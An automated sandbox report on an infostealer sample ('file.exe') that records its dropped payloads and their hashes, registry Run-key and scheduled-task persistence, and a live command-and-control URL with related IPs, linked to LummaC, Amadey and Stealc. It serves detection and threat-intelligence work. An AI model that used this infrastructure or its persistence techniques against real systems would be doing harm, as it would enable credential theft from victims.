Analysis ID:	1545721
Start date and time:	2024-10-30 21:54:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	50
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@87/42@86/14
EGA Information:	Successful, ratio: 16.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.11.191.138, 35.160.212.113, 54.185.230.140
Excluded domains from analysis (whitelisted): fs.microsoft.com, shavar.prod.mozaws.net, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, incoming.telemetry.mozilla.org, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, aus5.mozilla.org, dns.msftncsi.com, location.services.mozilla.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target NX5XML9A4AMIPXG5AGRT0AH025A0.exe, PID 6000 because it is empty
Execution Graph export aborted for target c1b0009d40.exe, PID 7060 because there are no executed function
Execution Graph export aborted for target file.exe, PID 744 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 3472 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 5548 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
16:55:06	API Interceptor	12x Sleep call for process: file.exe modified
16:56:01	API Interceptor	202076x Sleep call for process: skotes.exe modified
16:56:16	API Interceptor	59x Sleep call for process: c1b0009d40.exe modified
16:57:02	API Interceptor	1x Sleep call for process: firefox.exe modified
21:55:31	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
21:56:18	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run c1b0009d40.exe C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe
21:56:26	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run c1b0009d40.exe C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe
21:56:34	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 7a5878ed96.exe C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe
21:56:43	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 1dc3787ee3.exe C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe
21:56:52	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1002711001\num.exe
21:57:06	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 7a5878ed96.exe C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe
21:57:14	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 1dc3787ee3.exe C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe
21:57:23	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user\AppData\Local\Temp\1002711001\num.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
34.149.100.209	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse
	file.exe	Get hash	malicious	Credential Flusher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
dyna.wikimedia.org	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
	file.exe	Get hash	malicious	Credential Flusher	Browse	185.15.59.224
star-mini.c10r.facebook.com	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.253.35
	Reminders for Msp-partner_ Server Alert.eml	Get hash	malicious	HTMLPhisher	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.253.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.0.35
	https://wetransfer.com/downloads/bd15c1f671ae60c5a56e558eb8cc43bf20241030150256/3b30cd5b9ce1ffb29d79c9118153941c20241030150256/70baef?t_exp=1730559776&t_lsid=6bd545a9-d09b-4abd-a317-124dbe9fe64d&t_network=email&t_rid=YXV0aDB8NjZlYWI0YTExODhmYzc1OGMzMmNiODIx&t_s=download_link&t_ts=1730300576&utm_campaign=TRN_TDL_01&utm	Get hash	malicious	HTMLPhisher	Browse	157.240.251.35
	file.exe	Get hash	malicious	Credential Flusher	Browse	157.240.251.35
twitter.com	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.129
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.1
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.193
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65
	file.exe	Get hash	malicious	Credential Flusher	Browse	104.244.42.65

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	Setup.exe	Get hash	malicious	RedLine	Browse	185.215.113.22
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
ATGS-MMD-ASUS	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	https://www.mediafire.com/file/oyfycncwen0a3ue/DSP_Plan_Set.zip/file	Get hash	malicious	Unknown	Browse	34.1.246.194
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.160.144.191
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	Setup.exe	Get hash	malicious	RedLine	Browse	185.215.113.22
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.96.3
	SecuriteInfo.com.Trojan.PWS.Lumma.749.8914.14992.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	819614 - Midways Freight Ltd.xlsm	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	weekly-finances-report.xlsx	Get hash	malicious	KnowBe4	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	188.114.96.3
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191 34.120.208.123

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\1664VO856PFRR45SNXLF.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1664VO856PFRR45SNXLF.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\DKWRY7NZ4BK40ZV6TLNXNQ7QKOI5NI5.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\I605ZV9TDN7C3O4NV7U9QCMM6MD004S.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584677562301592
Encrypted:	false
SSDEEP:	12288:JqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/Tr:JqDEvCTbMWu7rQYlBQcBiT6rprG8abr
MD5:	A5C626CB978C8D7070F00E5EEEAC13F9
SHA1:	929FB15C8986ACE36982084CAA8920EF468BC2D9
SHA-256:	771B92AA0CAA8192579D931EE8DBFC2A3B01A2B7CC21DABA7714D7D8C3BAD91A
SHA-512:	EC2A7BD3EB61135A34D4AB512C30029F8DE592F57F7A451369CF8E9BB82C4683061E193855FDD79AD5EC84C20FD49428923FF11FDCFF5673F04887E3104A4056
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...K."g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2146304
Entropy (8bit):	7.959339572334429
Encrypted:	false
SSDEEP:	49152:R6jsOhFrYVBpNyTTTWI3IDtQW++pAwNbFW:R6jsmWCTTSdCW++pfdFW
MD5:	E7E67024404F23389E4052996E08923A
SHA1:	7B695A106607D413D657BA1CA50401B03DF2FAFD
SHA-256:	114E599411E6FA14E2231D45E8AD7CCFFFCB068CEBE1C93EE98094C8A744CECB
SHA-512:	AC4A0A2CBEB489E1AB346A79CCE1B055DC9387EF20B7C5A3806DD75B00A8558FC199E8EF652B00E63CDB28B7E5C2247100D9112667AEAA69510451409AF4158D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,...... s...........@..........................Ps.....W.!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... .`*.........................@...tnleqdlj......Y.....................@...afcdkohf......s....... .............@....taggant.0... s..".... .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
SHA-256:	A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D
SHA-512:	4D0D8BF366F4B4793154F31AEE4983DF307B97EDC83608B76628168418D48227EB46F6213469EB4D3A088D891A143B30B3B02ACBB194DF834DA1B61D182607EB
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,......l............@.......................................@.................................X...P................................$...................................................................................text............................... ....rdata..............................@..@.data.....+.........................@....reloc..>K.......L...D..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2985984
Entropy (8bit):	6.510590319217561
Encrypted:	false
SSDEEP:	49152:3suK6AaJ4iCTOGR8hmhTBBzJvh4Pb1NS1lLg3+V:3RAaJLCTOGROmXBdvhMS15Y
MD5:	C12612C3792DEE7B90E2D01CA6E32D2D
SHA1:	ACF86245216963952D03D263B99B8BA460FC8A0E
SHA-256:	536DF35D391272DC912F4F4B37DD7551EA2E549A1E8B3DAB20C411C1C8AFB7EF
SHA-512:	0064BE7F38CD2D21E9CAC799196635773E00BEBF2D6784081A364F669ACAF834B24A8F696C8BB40DC456A7467CF6CE8B6D2FFF7D944BF07101E604C5A39303FD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................0......s....@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...waasbvbn..........................@...tkrpbqpe......0......j-.............@....taggant.0....0.."...n-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2985984
Entropy (8bit):	6.510590319217561
Encrypted:	false
SSDEEP:	49152:3suK6AaJ4iCTOGR8hmhTBBzJvh4Pb1NS1lLg3+V:3RAaJLCTOGROmXBdvhMS15Y
MD5:	C12612C3792DEE7B90E2D01CA6E32D2D
SHA1:	ACF86245216963952D03D263B99B8BA460FC8A0E
SHA-256:	536DF35D391272DC912F4F4B37DD7551EA2E549A1E8B3DAB20C411C1C8AFB7EF
SHA-512:	0064BE7F38CD2D21E9CAC799196635773E00BEBF2D6784081A364F669ACAF834B24A8F696C8BB40DC456A7467CF6CE8B6D2FFF7D944BF07101E604C5A39303FD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................0......s....@.................................T...h.......@........................................................................................................... . .........~..................@....rsrc...@...........................@....idata ............................@...waasbvbn..........................@...tkrpbqpe......0......j-.............@....taggant.0....0.."...n-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002709001\7a5878ed96.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2146304
Entropy (8bit):	7.959339572334429
Encrypted:	false
SSDEEP:	49152:R6jsOhFrYVBpNyTTTWI3IDtQW++pAwNbFW:R6jsmWCTTSdCW++pfdFW
MD5:	E7E67024404F23389E4052996E08923A
SHA1:	7B695A106607D413D657BA1CA50401B03DF2FAFD
SHA-256:	114E599411E6FA14E2231D45E8AD7CCFFFCB068CEBE1C93EE98094C8A744CECB
SHA-512:	AC4A0A2CBEB489E1AB346A79CCE1B055DC9387EF20B7C5A3806DD75B00A8558FC199E8EF652B00E63CDB28B7E5C2247100D9112667AEAA69510451409AF4158D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g......................,...... s...........@..........................Ps.....W.!...@.................................P...d................................................................................................................... . .p.......v..................@....rsrc ............................@....idata ............................@... .`*.........................@...tnleqdlj......Y.....................@...afcdkohf......s....... .............@....taggant.0... s..".... .............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002710001\1dc3787ee3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584677562301592
Encrypted:	false
SSDEEP:	12288:JqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/Tr:JqDEvCTbMWu7rQYlBQcBiT6rprG8abr
MD5:	A5C626CB978C8D7070F00E5EEEAC13F9
SHA1:	929FB15C8986ACE36982084CAA8920EF468BC2D9
SHA-256:	771B92AA0CAA8192579D931EE8DBFC2A3B01A2B7CC21DABA7714D7D8C3BAD91A
SHA-512:	EC2A7BD3EB61135A34D4AB512C30029F8DE592F57F7A451369CF8E9BB82C4683061E193855FDD79AD5EC84C20FD49428923FF11FDCFF5673F04887E3104A4056
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...K."g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1002711001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	888832
Entropy (8bit):	6.3790716712622695
Encrypted:	false
SSDEEP:	24576:Le1Q/llWMGNL/geFyNcTN+jv75TQn652VBuNyb:cQ/lldGJtF4ch+jvNm0Nyb
MD5:	F793D9E588C6BF51F1DAF523AB2DF1CE
SHA1:	F63CE1F9EEE9F3AE643E270C7FC854DC51D730D0
